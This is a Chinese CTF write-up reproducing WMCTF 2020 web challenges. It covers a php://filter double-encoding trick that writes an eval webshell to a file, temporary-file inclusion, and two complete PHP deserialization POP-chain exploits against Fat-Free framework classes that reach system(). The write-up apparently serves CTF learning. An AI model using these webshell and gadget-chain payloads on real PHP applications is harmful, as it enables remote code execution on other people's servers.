2020WMCTF-WEB题目复现

WMCTF几道Web题目复现

0x01 checkin

首先总结下php中的过滤器

  • 字符串过滤器

php://filter/string.rot13

php://filter/string.toupper

php://filter/string.tolower

  • string.strip_tags

php://filter/string.strip_tags 可以去掉<?php xxxx?>

  • 转换过滤器

php://filter/convert.base64-decode

php://filter/convert.base64-encode

  • 压缩过滤器

php://filter/zlib.inflate/resource 解压

php://filter/zlib.deflate/resource 压缩

php://filter/bzip2.compress/resource 压缩

php://filter/bzip2.decompress/resource 解压

  • 加密过滤器

php://filter/mcrypt.tripledes/resource= 加密

php://filter/mdecrypt.tripledes/resource= 解密

解法一:利用url二次编码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$char = 'U'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>

i——-%6%39

U—–%5%35

1
content=php://filter/convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp%20pvela$(P_SO[T11)];%20>?/resource=a.php

image-20200808170056003

包含文件

image-20200808170121453

解法二:利用临时文件包含

image-20200814201554594

PHP-Is-The-Best

本题php版本为7.0.33,可以利用临时文件包含getshell。

0x02 webweb

trick1:当一个数组的第一个元素为类对象,第二个元素为之前类对象的函数名,可以通过数组名调用之前类的对应的方法,源码如下

1
2
3
4
5
6
7
8
9
<?php
class A {
public function foo() {
system("whoami");
}
}

$array = array(new A(), "foo");
$array();

image-20200814093944571

trick2:源码中的WS.php里面包含两个类,分别是WS类和Agent类,源码是利用autoload函数自动加载类,在new一个CLI\WS类时会通过autoload()函数包含CLI/WS.php,如果new一个CLI\Agent类时,因为不存在CLI/Agent.php,所以新建CLI\Agent类会失败。所以我们可以采用首先新建一个WS类,先包含CLI/WS.php,然后就可以成功新建Agent类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function autoload($class) {
$class=$this->fixslashes(ltrim($class,'\\'));
/** @var callable $func */
$func=NULL;
if (is_array($path=$this->hive['AUTOLOAD']) &&
isset($path[1]) && is_callable($path[1]))
list($path,$func)=$path;
foreach ($this->split($this->hive['PLUGINS'].';'.$path) as $auto)
if ($func && is_file($file=$func($auto.$class).'.php') ||
is_file($file=$auto.$class.'.php') ||
is_file($file=$auto.strtolower($class).'.php') ||
is_file($file=strtolower($auto.$class).'.php'))
return require($file);
}

这里可以采用两种方式,第一种将Agent类作为WS类的一个属性的值,在反序列化时会先加载WS类,之后包含ws.php,然后就可以成功加载Agent类对象;第二种方法序列化处理一个数组,数组的第一个元素为ws类对象,第二个元素为Agent对象,在反序列化该数组序列化后的字符串时首先加载WS类,包含ws.php,之后就可以成功加载Agent对象。

接下来寻找pop链

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace DB\SQL {
class Mapper {
protected
//! PDO wrapper
$db,
//! Database engine
$engine,
//! SQL table
$source,
//! SQL table (quoted)
$table,
//! Alias for SQL table
$as,
//! Last insert ID
$_id,
//! Defined fields
$fields,
//! Adhoc fields
$adhoc = [],
//! Dynamic properties
$props = [];

public function __construct() {
$this->adhoc = array("whoami" => ["expr" => "test"]);
$this->db = $this;
$this->props['quotekey'] = "system";

}
}

}
namespace CLI {
use DB\SQL\Mapper;

class Agent {
protected
$server,
$id,
$socket,
$flag,
$verb,
$uri,
$headers;
public function __construct() {
$this->server->events = array("disconnect" => [new Mapper(), "find"]);
}

}
class WS {
protected $events = [];
public function __construct() {
$this->events = new Agent();
}
}
}
namespace {
use CLI\WS;

print_r(serialize(new WS()));
echo urlencode(serialize(new WS()));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
namespace DB\SQL {
class Mapper {
protected
//! PDO wrapper
$db,
//! Database engine
$engine,
//! SQL table
$source,
//! SQL table (quoted)
$table,
//! Alias for SQL table
$as,
//! Last insert ID
$_id,
//! Defined fields
$fields,
//! Adhoc fields
$adhoc = [],
//! Dynamic properties
$props = [];

public function __construct() {
$this->adhoc = array("whoami" => ["expr" => "test"]);
$this->db = $this;
$this->props['quotekey'] = "system";

}
}

}
namespace CLI {
use DB\SQL\Mapper;

class Agent {
protected
$server,
$id,
$socket,
$flag,
$verb,
$uri,
$headers;
public function __construct() {
$this->server->events = array("disconnect" => [new Mapper(), "find"]);
}

}
class WS {
}
}
namespace {
use CLI\WS;

//print_r(serialize(new WS()));
echo urlencode(serialize(array(new WS(), new CLI\Agent())));
}

image-20200814100410530